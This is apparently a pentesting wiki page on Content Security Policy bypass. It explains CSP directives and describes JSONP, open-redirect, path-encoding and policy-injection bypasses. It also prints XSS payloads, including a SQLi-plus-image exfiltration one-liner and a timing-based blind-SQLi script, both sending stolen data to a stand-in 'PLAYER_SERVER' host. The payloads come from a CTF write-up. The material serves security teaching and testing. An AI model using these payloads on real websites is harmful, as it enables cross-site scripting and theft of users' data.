Physical attacks
Mobile Apps Pentesting
Pentesting

Content Security Policy (CSP) Bypass

What is CSP

Content Security Policy or CSP is a built-in browser technology which helps protect from attacks such as cross-site scripting (XSS). It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more.Here is an example of allowing resource from the local domain (self) to be loaded and executed in-line and allow string code executing functions like eval, setTimeout or setInterval:

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';

Headers

  • Content-Security-Policy

  • Content-Security-Policy-Report-OnlyThis one won't block anything, only send reports (use in Pre environment).

Defining resources

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /__cspreport__
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Some definitions

  • default-src: this is the fallback for when other attributes have not been defined. Most of the times this attribute has the value 'self' indicating that only resources from the website itself can be loaded.

  • script-src: restricts the locations external scripts can be loaded from. Value can be set to 'none' if the website or application doesn't use client side scripts.

  • img-src: restricts the locations images can be loaded from.

  • media-src: restricts the locations media (such as videos) can be loaded from.

  • object-src: restricts the locations plugins can be loaded from.

  • frame-ancestors: this attribute restricts the locations that may load the website using frame, iframe, object, embed or applet elements. In due course frame-ancestors should replace the HTTP response header X-Frame-Options.

  • form-action: restricts the URLs that can be used as part of a <form> action. In other words, form-action restricts where the browser can send the data from completed forms. It's important to note that form-action does not fallback on the default-src, so be sure to define this if your website or application uses form-elements.

  • report-uri: defines where to send CSP reports when a violation occurs.

Common Values

'self' --> Your own domain
'none' --> Anything
https://code.jquery.com --> A Domain
'unsafe-inline' --> Allows <script> and <style> chunks tobe interpreted
'unsafe-eval' --> Allows string code executing functions like eval, setTimeout, setInterval or CSSStyleSheet.insertRule()
'nonce-2726c7f26c' --> Allows the content with that nonce inside the HTML: <script nonce="2726c7f26c">
'sha256-cLuU6nVzrYJlo7rUa6TMmz3nylPFrPQrEUpOHllb5ic=' --> The chunk with that hash inside the HTML can be execut
sameSite: 'strict'
default-src 'self' 'unsafe-inline';
img-src *;

Bad rules

Allowing third party endpoints

Content-Security-Policy: script-src 'self' https://compass-security.com;

The domain compass-security.com hosts a JSONP endpoint, which can be called with the following URL:

https://compass-security.com/jsonp?callback={functionName}

Now, what happens if the {functionName} parameter contains a valid JavaScript code which could be potentially executed? The following payload represents a valid bypass [7]:

">'><script src="https://compass-security.com/jsonp?callback=alert(1);u">

The JSONP endpoint will then parse the callback parameter, generating the following response:

Alert(1); u({……})

The JavaScript before the semicolon, alert(1), will be executed by the client when processing the response received.

The same vulnerability will occur if the trusted endpoint contains an Open Redirect, because if the initial endpoint is trusted, redirects are trusted.

Folder path bypass

If CSP policy points to a folder and you use %2f to encode "/", it is still considered to be inside the folder. All browsers seem to agree on that. This leads to a possible bypass, by using "%2f..%2f" if server decodes it. For example, if CSP allows http://example.com/company/ you can bypass the folder restriction and execute: http://example.com/company%2f..%2fattacker/file.js

Online Example: https://jsbin.com/werevijewa/edit?html,output

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' means that you can execute any script inside the code (XSS can execute code) and img-src * means that you can use in the webpage any image from any resource.

You can bypass this CSP exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains a SQLi, and extract the flag via an image):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

You could also abuse this configuration to load javascript code inserted inside an image. If for example, the page allows to load images from twitter. You could craft an special image, upload it to twitter and abuse the "unsafe-inline" to executea JS code (as a regular XSS) that will load the image, extract the JS from it and execute it: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

img-src *; via XSS (iframe) - Time attack

Notice the lack of the directive 'unsafe-inline' This time you can make the victim load a page in your control via XSS with a <iframe. This time you are going to make the victim access the page from where you want to extract information (CSRF). You cannot access the content of the page, but if somehow you can control the time the page needs to load you can extract the information you need.

This time a flag is going to be extracted, whenever a char is correctly guessed via SQLi the response takes more time due to the sleep function. Then, you will be able to extract the flag:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>

Policy Injection

Example: https://portswigger.net/research/bypassing-csp-with-policy-injection

If a parameter sent by you is being pasted inside the declaration of the policy, then you could alter the policy in some way that makes it useless. You could allow script 'unsafe-inline' with:

script-src-elem 'none'; script-src-attr 'unsafe-inline'

Because this directive will overwrite existing script-src directives.

Checking CSP Policies Online

Visit https://csp-evaluator.withgoogle.com/ and just paste the URL.

Automatically creating CSP

https://csper.io/docs/generating-content-security-policy

References